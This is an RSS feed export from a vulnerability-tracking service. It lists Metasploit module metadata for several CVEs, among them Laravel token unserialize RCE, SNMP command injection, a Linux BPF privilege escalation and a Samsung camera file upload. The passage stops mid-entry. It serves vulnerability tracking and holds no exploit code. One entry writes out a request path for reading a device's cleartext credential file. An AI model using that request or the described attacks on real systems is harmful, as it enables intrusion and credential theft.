https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Thu, 17 Sep 2026 11:19:35 +0000 https://vulnerability.circl.lu/sighting/7fea1d9d-a945-4cf0-ad1c-39b37b40e5b2/export {"uuid": "7fea1d9d-a945-4cf0-ad1c-39b37b40e5b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16894", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/laravel_token_unserialize_exec.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"St\\u00e5le Pettersen\", \"aushack \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.\\n Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to\\n an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.\\n Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.\\n Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.\\n In some cases the APP_KEY is leaked which allows for discovery and exploitation.\", \"disclosure_date\": \"2018-08-07\", \"fullname\": \"exploit/unix/http/laravel_token_unserialize_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:59:31 +0000\", \"name\": \"PHP Laravel Framework token Unserialize Remote Command Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/unix/http/laravel_token_unserialize_exec.rb\", \"platform\": \"Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"unix/http/laravel_token_unserialize_exec\", \"references\": [\"CVE-2018-15133\", \"CVE-2017-16894\", \"URL-https://github.com/kozmic/laravel-poc-CVE-2018-15133\", \"URL-https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30\", \"URL-https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:36.464100Z"} {"uuid": "7fea1d9d-a945-4cf0-ad1c-39b37b40e5b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16894", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/laravel_token_unserialize_exec.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"St\\u00e5le Pettersen\", \"aushack \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.\\n Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to\\n an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.\\n Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.\\n Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.\\n In some cases the APP_KEY is leaked which allows for discovery and exploitation.\", \"disclosure_date\": \"2018-08-07\", \"fullname\": \"exploit/unix/http/laravel_token_unserialize_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:59:31 +0000\", \"name\": \"PHP Laravel Framework token Unserialize Remote Command Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/unix/http/laravel_token_unserialize_exec.rb\", \"platform\": \"Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"unix/http/laravel_token_unserialize_exec\", \"references\": [\"CVE-2018-15133\", \"CVE-2017-16894\", \"URL-https://github.com/kozmic/laravel-poc-CVE-2018-15133\", \"URL-https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30\", \"URL-https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:36.464100Z"} https://vulnerability.circl.lu/sighting/7fea1d9d-a945-4cf0-ad1c-39b37b40e5b2/export Tue, 08 Sep 2026 06:50:36 +0000 https://vulnerability.circl.lu/sighting/b462a857-98cc-49e0-b096-ef5411c6a0ca/export {"uuid": "b462a857-98cc-49e0-b096-ef5411c6a0ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16709", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb", "content": "{\"aliases\": [], \"arch\": \"cmd, armle\", \"author\": [\"Quentin Kaiser \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.\\n A valid SNMP read-write community is required to exploit this vulnerability.\\n\\n The following devices are known to be affected by this issue:\\n\\n * Crestron Airmedia AM-100 <= version 1.5.0.4\\n * Crestron Airmedia AM-101 <= version 2.5.0.12\\n * Awind WiPG-1600w <= version 2.0.1.8\\n * Awind WiPG-2000d <= version 2.1.6.2\\n * Barco wePresent 2000 <= version 2.1.5.7\\n * Newline Trucast 2 <= version 2.1.0.5\\n * Newline Trucast 3 <= version 2.1.3.7\", \"disclosure_date\": \"2019-03-27\", \"fullname\": \"exploit/linux/snmp/awind_snmp_exec\", \"is_install_path\": true, \"mod_time\": \"2026-05-14 11:43:36 +0000\", \"name\": \"AwindInc SNMP Service Command Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/linux/snmp/awind_snmp_exec.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/snmp/awind_snmp_exec\", \"references\": [\"CVE-2017-16709\", \"URL-https://github.com/QKaiser/awind-research\", \"URL-https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/\"], \"rport\": 161, \"session_types\": false, \"targets\": [\"Unix In-Memory\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:23.144402Z"} {"uuid": "b462a857-98cc-49e0-b096-ef5411c6a0ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16709", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb", "content": "{\"aliases\": [], \"arch\": \"cmd, armle\", \"author\": [\"Quentin Kaiser \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.\\n A valid SNMP read-write community is required to exploit this vulnerability.\\n\\n The following devices are known to be affected by this issue:\\n\\n * Crestron Airmedia AM-100 <= version 1.5.0.4\\n * Crestron Airmedia AM-101 <= version 2.5.0.12\\n * Awind WiPG-1600w <= version 2.0.1.8\\n * Awind WiPG-2000d <= version 2.1.6.2\\n * Barco wePresent 2000 <= version 2.1.5.7\\n * Newline Trucast 2 <= version 2.1.0.5\\n * Newline Trucast 3 <= version 2.1.3.7\", \"disclosure_date\": \"2019-03-27\", \"fullname\": \"exploit/linux/snmp/awind_snmp_exec\", \"is_install_path\": true, \"mod_time\": \"2026-05-14 11:43:36 +0000\", \"name\": \"AwindInc SNMP Service Command Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/linux/snmp/awind_snmp_exec.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/snmp/awind_snmp_exec\", \"references\": [\"CVE-2017-16709\", \"URL-https://github.com/QKaiser/awind-research\", \"URL-https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/\"], \"rport\": 161, \"session_types\": false, \"targets\": [\"Unix In-Memory\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:23.144402Z"} https://vulnerability.circl.lu/sighting/b462a857-98cc-49e0-b096-ef5411c6a0ca/export Tue, 08 Sep 2026 06:49:23 +0000 https://vulnerability.circl.lu/sighting/ef959503-473a-4aa1-b8f1-807b64b92ea2/export {"uuid": "ef959503-473a-4aa1-b8f1-807b64b92ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86, x64\", \"author\": [\"Jann Horn\", \"bleidl\", \"vnik\", \"rlarabee\", \"h00die\", \"bcoles \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"Linux kernel prior to 4.14.8 contains a vulnerability in the Berkeley\\n Packet Filter (BPF) verifier. The `check_alu_op` function performs\\n incorrect sign extension which allows the verifier to be bypassed,\\n leading to arbitrary kernel read/write.\\n\\n The target system must be compiled with BPF support and permit\\n unprivileged access to BPF with `kernel.unprivileged_bpf_disabled`\\n not set to 1.\\n\\n This module has been tested successfully on:\\n\\n Debian 9.0 kernel 4.9.0-3-amd64;\\n Deepin 15.5 kernel 4.9.0-deepin13-amd64;\\n ElementaryOS 0.4.1 kernel 4.8.0-52-generic;\\n Fedora 24 kernel 4.5.5-300.fc24.x86_64;\\n Fedora 25 kernel 4.8.6-300.fc25.x86_64;\\n Fedora 26 kernel 4.11.8-300.fc26.x86_64;\\n Fedora 27 kernel 4.13.9-300.fc27.x86_64;\\n Gentoo 2.2 kernel 4.5.2-aufs-r;\\n Linux Mint 17.3 kernel 4.4.0-89-generic;\\n Linux Mint 18.0 kernel 4.8.0-58-generic;\\n Linux Mint 18.3 kernel 4.13.0-16-generic;\\n Mageia 6 kernel 4.9.35-desktop-1.mga6;\\n Manjero 16.10 kernel 4.4.28-2-MANJARO;\\n Solus 3 kernel 4.12.7-11.current;\\n Ubuntu 14.04.1 kernel 4.4.0-89-generic;\\n Ubuntu 16.04.2 kernel 4.8.0-45-generic;\\n Ubuntu 16.04.3 kernel 4.10.0-28-generic;\\n Ubuntu 17.04 kernel 4.10.0-19-generic;\\n ZorinOS 12.1 kernel 4.8.0-39-generic.\", \"disclosure_date\": \"2017-11-12\", \"fullname\": \"exploit/linux/local/bpf_sign_extension_priv_esc\", \"is_install_path\": true, \"mod_time\": \"2026-05-25 08:39:44 +0000\", \"name\": \"Linux BPF Sign Extension Local Privilege Escalation\", \"needs_cleanup\": true, \"notes\": {\"AKA\": [\"get-rekt-linux-hardened.c\", \"upstream44.c\"], \"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"crash-os-down\"]}, \"path\": \"/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb\", \"platform\": \"Linux\", \"post_auth\": false, \"rank\": 500, \"ref_name\": \"linux/local/bpf_sign_extension_priv_esc\", \"references\": [\"BID-102288\", \"CVE-2017-16995\", \"EDB-44298\", \"EDB-45010\", \"URL-https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c\", \"URL-https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c\", \"URL-https://cyseclabs.com/exploits/upstream44.c\", \"URL-https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor\", \"URL-https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html\", \"URL-https://www.debian.org/security/2017/dsa-4073\", \"URL-https://usn.ubuntu.com/3523-2/\", \"URL-https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html\", \"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1454\", \"URL-http://openwall.com/lists/oss-security/2017/12/21/2\", \"URL-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Auto\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:06.413309Z"} {"uuid": "ef959503-473a-4aa1-b8f1-807b64b92ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86, x64\", \"author\": [\"Jann Horn\", \"bleidl\", \"vnik\", \"rlarabee\", \"h00die\", \"bcoles \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"Linux kernel prior to 4.14.8 contains a vulnerability in the Berkeley\\n Packet Filter (BPF) verifier. The `check_alu_op` function performs\\n incorrect sign extension which allows the verifier to be bypassed,\\n leading to arbitrary kernel read/write.\\n\\n The target system must be compiled with BPF support and permit\\n unprivileged access to BPF with `kernel.unprivileged_bpf_disabled`\\n not set to 1.\\n\\n This module has been tested successfully on:\\n\\n Debian 9.0 kernel 4.9.0-3-amd64;\\n Deepin 15.5 kernel 4.9.0-deepin13-amd64;\\n ElementaryOS 0.4.1 kernel 4.8.0-52-generic;\\n Fedora 24 kernel 4.5.5-300.fc24.x86_64;\\n Fedora 25 kernel 4.8.6-300.fc25.x86_64;\\n Fedora 26 kernel 4.11.8-300.fc26.x86_64;\\n Fedora 27 kernel 4.13.9-300.fc27.x86_64;\\n Gentoo 2.2 kernel 4.5.2-aufs-r;\\n Linux Mint 17.3 kernel 4.4.0-89-generic;\\n Linux Mint 18.0 kernel 4.8.0-58-generic;\\n Linux Mint 18.3 kernel 4.13.0-16-generic;\\n Mageia 6 kernel 4.9.35-desktop-1.mga6;\\n Manjero 16.10 kernel 4.4.28-2-MANJARO;\\n Solus 3 kernel 4.12.7-11.current;\\n Ubuntu 14.04.1 kernel 4.4.0-89-generic;\\n Ubuntu 16.04.2 kernel 4.8.0-45-generic;\\n Ubuntu 16.04.3 kernel 4.10.0-28-generic;\\n Ubuntu 17.04 kernel 4.10.0-19-generic;\\n ZorinOS 12.1 kernel 4.8.0-39-generic.\", \"disclosure_date\": \"2017-11-12\", \"fullname\": \"exploit/linux/local/bpf_sign_extension_priv_esc\", \"is_install_path\": true, \"mod_time\": \"2026-05-25 08:39:44 +0000\", \"name\": \"Linux BPF Sign Extension Local Privilege Escalation\", \"needs_cleanup\": true, \"notes\": {\"AKA\": [\"get-rekt-linux-hardened.c\", \"upstream44.c\"], \"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"crash-os-down\"]}, \"path\": \"/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb\", \"platform\": \"Linux\", \"post_auth\": false, \"rank\": 500, \"ref_name\": \"linux/local/bpf_sign_extension_priv_esc\", \"references\": [\"BID-102288\", \"CVE-2017-16995\", \"EDB-44298\", \"EDB-45010\", \"URL-https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c\", \"URL-https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c\", \"URL-https://cyseclabs.com/exploits/upstream44.c\", \"URL-https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor\", \"URL-https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html\", \"URL-https://www.debian.org/security/2017/dsa-4073\", \"URL-https://usn.ubuntu.com/3523-2/\", \"URL-https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html\", \"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1454\", \"URL-http://openwall.com/lists/oss-security/2017/12/21/2\", \"URL-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Auto\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:06.413309Z"} https://vulnerability.circl.lu/sighting/ef959503-473a-4aa1-b8f1-807b64b92ea2/export Tue, 08 Sep 2026 06:49:06 +0000 https://vulnerability.circl.lu/sighting/481ba364-7f26-499f-98e7-9927b9cb439a/export {"uuid": "481ba364-7f26-499f-98e7-9927b9cb439a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16666", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/xplico_exec.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Mehmet Ince \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal\\n command under the context of the root user.\\n\\n The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet\\n traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create\\n a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try\\n to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.\\n But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.\\n\\n One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum\\n of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.\", \"disclosure_date\": \"2017-10-29\", \"fullname\": \"exploit/linux/http/xplico_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:55:15 +0000\", \"name\": \"Xplico Remote Code Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/linux/http/xplico_exec.rb\", \"platform\": \"Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/xplico_exec\", \"references\": [\"CVE-2017-16666\", \"URL-https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/\", \"URL-https://www.xplico.org/archives/1538\"], \"rport\": 9876, \"session_types\": false, \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:03.838740Z"} {"uuid": "481ba364-7f26-499f-98e7-9927b9cb439a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16666", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/xplico_exec.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Mehmet Ince \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal\\n command under the context of the root user.\\n\\n The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet\\n traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create\\n a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try\\n to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.\\n But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.\\n\\n One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum\\n of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.\", \"disclosure_date\": \"2017-10-29\", \"fullname\": \"exploit/linux/http/xplico_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:55:15 +0000\", \"name\": \"Xplico Remote Code Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/linux/http/xplico_exec.rb\", \"platform\": \"Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/xplico_exec\", \"references\": [\"CVE-2017-16666\", \"URL-https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/\", \"URL-https://www.xplico.org/archives/1538\"], \"rport\": 9876, \"session_types\": false, \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:03.838740Z"} https://vulnerability.circl.lu/sighting/481ba364-7f26-499f-98e7-9927b9cb439a/export Tue, 08 Sep 2026 06:49:03 +0000 https://vulnerability.circl.lu/sighting/699bbe9d-9e62-4e82-80f9-36534f025468/export {"uuid": "699bbe9d-9e62-4e82-80f9-36534f025468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16524", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/samsung_srv_1670d_upload_exec.rb", "content": "{\"aliases\": [], \"arch\": \"php\", \"author\": [\"Omar Mezrag \", \"Realistic Security\", \"Algeria\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unrestricted file upload vulnerability in\\n Web Viewer 1.0.0.193 on Samsung SRN-1670D devices. The network_ssl_upload.php file\\n allows remote authenticated attackers to upload and execute arbitrary\\n PHP code via a filename with a .php extension, which is then accessed via a\\n direct request to the file in the upload/ directory.\\n\\n To authenticate for this attack, one can obtain web-interface credentials\\n in cleartext by leveraging the existing local file read vulnerability\\n referenced by CVE-2015-8279, which allows remote attackers to read the\\n web interface credentials by sending a request to:\\n cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.\", \"disclosure_date\": \"2017-03-14\", \"fullname\": \"exploit/linux/http/samsung_srv_1670d_upload_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 13:20:20 +0000\", \"name\": \"Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/linux/http/samsung_srv_1670d_upload_exec.rb\", \"platform\": \"PHP\", \"post_auth\": false, \"rank\": 400, \"ref_name\": \"linux/http/samsung_srv_1670d_upload_exec\", \"references\": [\"CVE-2017-16524\", \"URL-https://github.com/realistic-security/CVE-2017-16524\", \"CVE-2015-8279\", \"URL-http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Samsung SRN-1670D 1.0.0.193\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:55.143565Z"} {"uuid": "699bbe9d-9e62-4e82-80f9-36534f025468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16524", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/samsung_srv_1670d_upload_exec.rb", "content": "{\"aliases\": [], \"arch\": \"php\", \"author\": [\"Omar Mezrag \", \"Realistic Security\", \"Algeria\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unrestricted file upload vulnerability in\\n Web Viewer 1.0.0.193 on Samsung SRN-1670D devices. The network_ssl_upload.php file\\n allows remote authenticated attackers to upload and execute arbitrary\\n PHP code via a filename with a .php extension, which is then accessed via a\\n direct request to the file in the upload/ directory.\\n\\n To authenticate for this attack, one can obtain web-interface credentials\\n in cleartext by leveraging the existing local file read vulnerability\\n referenced by CVE-2015-8279, which allows remote attackers to read the\\n web interface credentials by sending a request to:\\n cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.\", \"disclosure_date\": \"2017-03-14\", \"fullname\": \"exploit/linux/http/samsung_srv_1670d_upload_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 13:20:20 +0000\", \"name\": \"Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/linux/http/samsung_srv_1670d_upload_exec.rb\", \"platform\": \"PHP\", \"post_auth\": false, \"rank\": 400, \"ref_name\": \"linux/http/samsung_srv_1670d_upload_exec\", \"references\": [\"CVE-2017-16524\", \"URL-https://github.com/realistic-security/CVE-2017-16524\", \"CVE-2015-8279\", \"URL-http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Samsung SRN-1670D 1.0.0.193\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:55.143565Z"} https://vulnerability.circl.lu/sighting/699bbe9d-9e62-4e82-80f9-36534f025468/export Tue, 08 Sep 2026 06:48:55 +0000 https://vulnerability.circl.lu/sighting/e5ef1807-89a7-414c-b8b3-0f792a1c61b2/export {"uuid": "e5ef1807-89a7-414c-b8b3-0f792a1c61b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16651", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/roundcube_auth_file_read.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"joel \", \"stonepresto\", \"thomascube\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"Roundcube Webmail allows unauthorized access to arbitrary files on the host's filesystem, including configuration files.\\n This affects all versions from 1.1.0 through version 1.3.2. The attacker must be able to authenticate at the target system\\n with a valid username/password as the attack requires an active session.\\n\\n Tested against version 1.3.2\", \"disclosure_date\": \"2017-11-09\", \"fullname\": \"auxiliary/gather/roundcube_auth_file_read\", \"is_install_path\": true, \"mod_time\": \"2023-08-25 08:59:53 +0000\", \"name\": \"Roundcube TimeZone Authenticated File Disclosure\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/gather/roundcube_auth_file_read.rb\", \"platform\": \"\", \"post_auth\": true, \"rank\": 300, \"ref_name\": \"gather/roundcube_auth_file_read\", \"references\": [\"EDB-49510\", \"URL-https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1\", \"CVE-2017-16651\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:21.410917Z"} {"uuid": "e5ef1807-89a7-414c-b8b3-0f792a1c61b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16651", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/roundcube_auth_file_read.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"joel \", \"stonepresto\", \"thomascube\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"Roundcube Webmail allows unauthorized access to arbitrary files on the host's filesystem, including configuration files.\\n This affects all versions from 1.1.0 through version 1.3.2. The attacker must be able to authenticate at the target system\\n with a valid username/password as the attack requires an active session.\\n\\n Tested against version 